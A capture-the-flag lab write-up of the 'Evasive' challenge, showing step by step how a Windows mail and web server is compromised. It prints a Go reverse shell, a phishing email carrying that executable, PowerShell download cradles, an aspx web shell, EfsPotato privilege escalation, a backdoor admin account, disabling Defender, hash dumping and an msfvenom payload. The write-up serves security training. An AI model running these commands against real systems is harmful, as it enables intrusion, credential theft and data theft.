Evasive

Challenge Lab (Medium) - by hadrian3689

CourseStackwww.hacksmarter.org

The following post by 0xb0b is licensed under CC BY 4.0

---

Scenario

You are tasked with conducting a small red team operation on a Mail and Web Windows Server. The objective is to gain system access and extract any sensitive information that a threat actor could potentially use.

Here are some of the rules of engagement:

1. The mail component is equipped with an anti-bruteforce mechanism. Do not get locked out as this will trip up an alert and the operation is over.

2. Defender is on and up-to-date

Summary

Summary

In Evasive we compromise a Windows Mail and Web Server by chaining weak credential reuse, internal phishing, and privilege escalation through service misconfigurations. Starting with anonymous SMB access, we uncover internal communication revealing valid credentials and abuse the mail service to deliver an executable that grants us an initial foothold. From there, we pivot through IIS by uploading a web shell, exploit SeImpersonatePrivilege via EfsPotato to obtain SYSTEM, and establish persistent administrative access. Finally, through post-exploitation and process inspection, we extract sensitive credit card info from an active KeePass session, completing full operational objectives while maintaining stealth under Defender.

Recon

We use rustscan -b 500 -a 10.1.79.70 -- -sC -sV -Pn to enumerate all TCP ports on 10.1.79.70, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.

A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.

rustscan -b 500 -a evasive.hs -- -sC -sV -Pn

With the results of our RustScan we identify a Windows server named Winserver01 exposing mail services provided by hMailServer SMTP 25 and 587, POP3 110, IMAP 143, Microsoft IIS 10.0 on port 80 , RDP 3389, WinRM on 5985, and SMB/RPC on 135, 139, 445 and many ephemeral MSRPC ports 49664–49681.

We visit the web page, but only have a default page of the IIS.

We proceed with enumerating the smb service and try to get access as guest.

We successfully authenticate.

nxc smb winserver01.hs -u guest -p ''

Next, we list the shares available and find a share called docs which is readable by the guest user.

nxc smb winserver01.hs -u guest -p '' --shares

Access as roger

Since the IPC$ share is also readable we try to enumerate further users by an rid brute force using NetExec.

An RID brute-force cycles through the relative ID part of Windows SIDs (e.g. 500, 501, …), querying the host/domain via IPC$ for each constructed SID to see which ones map to real accounts. This works because RIDs are assigned in predictable ranges/sequences and Windows returns distinguishable responses for existing versus non-existing SIDs.

We are able to identfy the users alfonso and roger.

nxc smb winserver01.hs -u guest -p '' --rid

alfonso
roger

We list all files in the shares using the NetExec module spider_plus.

Spidering Shares | NetExecwww.netexec.wiki

nxc smb winserver01.hs -u guest -p '' -M spider_plus

There are two files present.

We could either download all files using the spider_plus module like the following:

nxc smb winserver01.hs -u guest -p '' -M spider_plus -o DOWNLOAD_FLAG=True

Or use smbclient to connect to the share and download the files:

smbclient //winserver01.hs/docs -U 'guest%'

get mail_doc.pdf

get old_user_setup_doc.pdf

The mail_doc.pdf reveals a message from alfonso to roger asking for an executable.

In the old_user_setup.pdf we find the default password password. Since its an old setup the password might have changed slightly.

We try to use the password with the users roger and alfonso, but without success.

nxc smb winserver01.hs -u roger -p 'REDACTED'

We make a minor adjustment to the password.

hint

It is the year

And we see that the user roger is still using the newer default password.

nxc smb winserver01.hs -u roger -p 'REDACTED' --shares

Shell as alfonso

Since the PDF asks for an executable and we have a mail server in front of us, it seems obvious to send the user alfonso an executable, which then gets executed by the user to obtain a reverse shell.

We have the credentials for roger, but we are missing an email address. In this scenario, we could assume that it is [e-mail]. But we can also confirm this from the metadata in the PDFs.

At least the mail_doc.pdf contains the email from alfonso.

exiftool mail_doc.pdf 

So we have now the following mails:

[e-mail]
[e-mail]

Next, we try to login as roger to the mail server with the new default password and are able to successfully authenticate:

curl --url "pop3://winserver01.hs/" --user '[e-mail]:REDACTED' --verbose

Now, we prepare a reverse shell.

To get a reverse shell we can craft a simple reverse shell using Go. This should not be easily detected by an AV. However, we have to compile this on a Windows host.

This is a very simple reverse shell that is not detected by AV in this setup, but it is not particularly stealthy.

We will see why later. But for now, it does the job.

0xb0b.go

package main

import (
    "net"
    "os/exec"
)

func main() {
    c, _ := net.Dial("tcp", "10.200.15.79:4445")
    cmd := exec.Command("powershell")
    cmd.Stdin = c
    cmd.Stdout = c
    cmd.Stderr = c
    cmd.Run()
}

We compile the reverse shell...

go build -o 0xb0b.exe 0xb0b.go

and set up a listener using Penelope.

Penelope is a reverse shell handler which tries to auto upgrade the catched reverse shell, fixes TTY size and allows us to manage our sessions:

GitHub - brightio/penelope: Penelope Shell HandlerGitHub

penelope -p 4445

Next, we send a mail as roger to alfonso usings Swaks. Swaks (Swiss Army Knife for SMTP) is a command-line tool used to test and debug email servers by crafting and sending custom SMTP messages.

This swaks command sends an SMTP message from [e-mail] to [e-mail] using the SMTP server winserver01.hs on port 25 with a 20 second timeout. It sets the Subject header, a short plaintext body ("Here is the executable you asked for:"), and attaches the file 0xb0b.exe as an application/octet-stream payload (--attach @0xb0b.exe), while authenticating with the LOGIN method using the username [e-mail] and the password.

swaks \
  --to '[e-mail]' \
  --from '[e-mail]' \
  --header 'Subject: mail_doc - executable' \
  --body 'Here is the executable you asked for:' \
  --attach-type application/octet-stream \
  --server winserver01.hs \
  --port 25 \
  --timeout 20s \
  --auth LOGIN \
  --auth-user '[e-mail]' \
  --auth-password 'REDACTED' \
  --attach @0xb0b.exe

After around a minute we should receive a reverse shell and are the user alfonso.

On the Desktop we find another PDF called merger_info.pdf. Besides that we find a Keepass file and the mail script at Documents.

Since the download and upload functionallity of Penelope is blocked to transfer the files we use the smb share instead and copy those to the share location

copy Desktop\merger_info.pdf C:\Docs

copy Documents\Database.kdbx C:\Docs

copy Documents\mail.ps1 C:\Docs

Next, we download the files.

smbclient //winserver01.hs/docs -U 'guest%'

Try "help" to get a list of possible commands.
smb: \> get mail.ps1
getting file \mail.ps1 of size 133 as mail.ps1 (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> get Database.kdbx
getting file \Database.kdbx of size 2423 as Database.kdbx (5.6 KiloBytes/sec) (average 3.0 KiloBytes/sec)
smb: \> get merger_info.pdf
getting file \merger_info.pdf of size 1604 as merger_info.pdf (3.7 KiloBytes/sec) (average 3.2 KiloBytes/sec)
smb: \> 

Unfortunatly the Keepass file seems well protected by the password chosen so we proceed with the merger_info.pdf.

Here we are able to extract the info for our first objective.

shell as iis apppool\defaultapppool

During enumeration we came accross an IIS webserver running on port 80.

And we are actually able to drop files at C:\inetpub\wwwroot, since we are allowed to modify by this ACL: BUILTIN\Users Allow Modify, Synchronize

This allows us to drop a web or reverse shell.

We will use the folllowing aspx reverse shell:

aspx-reverse-shell/shell.aspx at master · borjmz/aspx-reverse-shellGitHub

But first we modify the reverse shell replacing the host with our own IP and desired port.

We drop the following aspx reverse shell to the folder using Penelope and it fails again.

As mentioned before. That is blocked on the Windows Host.

So, we provide the file through a web server.

python -m http.server 80

With the following command we are able to downlaod the file on to the target system.

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile('http://10.200.15.79/shell.aspx','./shell.aspx')"

We set up another Penelope reverse shell with penelope -p 4446 and open the shell.aspx site in our browser. We receive a connection back and are the iis apppool\defaultapppool user. This user has the SeImpersonatePrivilege enabled.

http://winserver01.hs/shell.aspx

Shell as 0xb0b / localadmin

Since the SeImpersonatePrivilege is enabled we can make use of one of the infamous potato exploits. One of my favorite Potato exploits is the EfsPotato exploit. We can compile this on the machine if the C# compiler is available, and it should also go undetected.

GitHub - zcgonvh/EfsPotato: Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).GitHub

We check for a compiler at C:\Windows\Microsoft.Net\Framework\ and see a v4.0 version is persent. Nice.

dir C:\Windows\Microsoft.Net\Framework\

The csc.exe to compile the exploit is present.

dir C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe

Next, we download the source file from our attacker machine, compile with the compiler found at C:\Windows\Microsoft.Net\Framework\v4... and execute it with the whoami command.

We download the file:

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile('http://10.200.15.79/EfsPotato.cs','./EfsPotato.cs')"

Compile the potato exploit:

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618

Run whoami with the exploit. We are NT authority\system.

.\EfsPotato.exe whoami

Using the exploit we add another user 0xb0b to the machine and add the user to the local administrators group.

.\EfsPotato.exe "cmd.exe /c net user 0xb0b Password123! /add && net localgroup administrators 0xb0b /add"

Next, we try to connect to the server with our newly added user using evil-winrm, but we are unsuccsessful.

evil-winrm -i winserver01.hs -u 0xb0b -p 'Password123!'

Strange, but the user is enabled and we can connect using smb.

 nxc smb winserver01.hs -u 0xb0b -p 'Password123!'

If we try to dump the hashes on the machine it'll fail too.

 nxc smb winserver01.hs -u 0xb0b -p 'Password123!' --sam

After inspecting the registry we see that there’s no value named LocalAccountTokenFilterPolicy

When that registry value does not exist, Windows applies its default behavior:

Local administrator accounts that connect over the network (e.g., via WinRM, SMB, PsExec) get a filtered token — meaning no admin privileges remotely, even though they’re local admins.

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"

So we add that entry using also the potato exploit:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

.\EfsPotato.exe 'cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f'

After that we are able to get a session with evil-winrm.

evil-winrm -i winserver01.hs -u 0xb0b -p 'Password123!'

And are also able to dump the hashes using Netexec for the second objective.

 nxc smb winserver01.hs -u 0xb0b -p 'Password123!' --sam

Back to alfonso

The solution shown here uses Metasploit. We use Metasploit to create a screenshot.

This feature appears to be broken in the latest version of Metasploit. Something in 6.4.94 breaks the screenshot feature. This was noticed by TheKeen when solving the box.

To avoid frustration, I recommend using a different version than the one mentioned. Alternatively, the password of the user alfonso can be changed and RDP can be used to access the active session in order to complete the last objective.

The last objective is about getting the credit card info. We remember there was a Keepass file in the Documents folder. But first, lets disable the AV with our local admin user.

Set-MpPreference -DisableRealtimeMonitoring $true

We add alfonso to the Remote Management Users group. So we are now able to get a session using Evil-WinRm. This is not necessary, you could also use the session you got through the reverse shell. Its just for the convinience.

net localgroup "Remote Management Users" alfonso /add

Next, we use the hash of alfonso to get a session using Evil-Winrm.

evil-winrm -i winserver01.hs -u alfonso -H REDACTED

We enumerate the target again and see that there is a Keepass process running. So maybe that user has a session running with the Keepass file unlocked.

Get-Process 

The idea is now, to get a screenshot of the Desktop. C2s like Sliver or Metasploit a capable to taking screenshots. So we create a meterpreter reverse shell to get a meterpreter session to take a screenshot.

We craft the reverse shell using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.200.15.79 LPORT=443 -f exe > shell.exe

Next, we prepare Metasploit and run the listener:

msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > run

We make use of the upload functionallity of Evil-WinRM and upload the shell.exe. Next, we run the shell..

And get receive a meterpreter session. We issue Screenshot to take a screenshot...

screenshot

... and we see a kdbx, but we messed up a bit. Our reverse shell gets called by the script. The script and also the reverse shell popped a window overlaying the Keepass window. Not so stealthy...

So we get rid of thos windows by killing the Powershell process and the reverse shell.

Get-Process | Where-Object { $_.ProcessName -like "@0xb0b*" }

Stop-Process -Name "@0xb0b" -Force

Stop-Process -Name "Powershell" -Force

We immediately take another screenshot and are now able to inspect the exposed credit card number, our final objective.

screenshot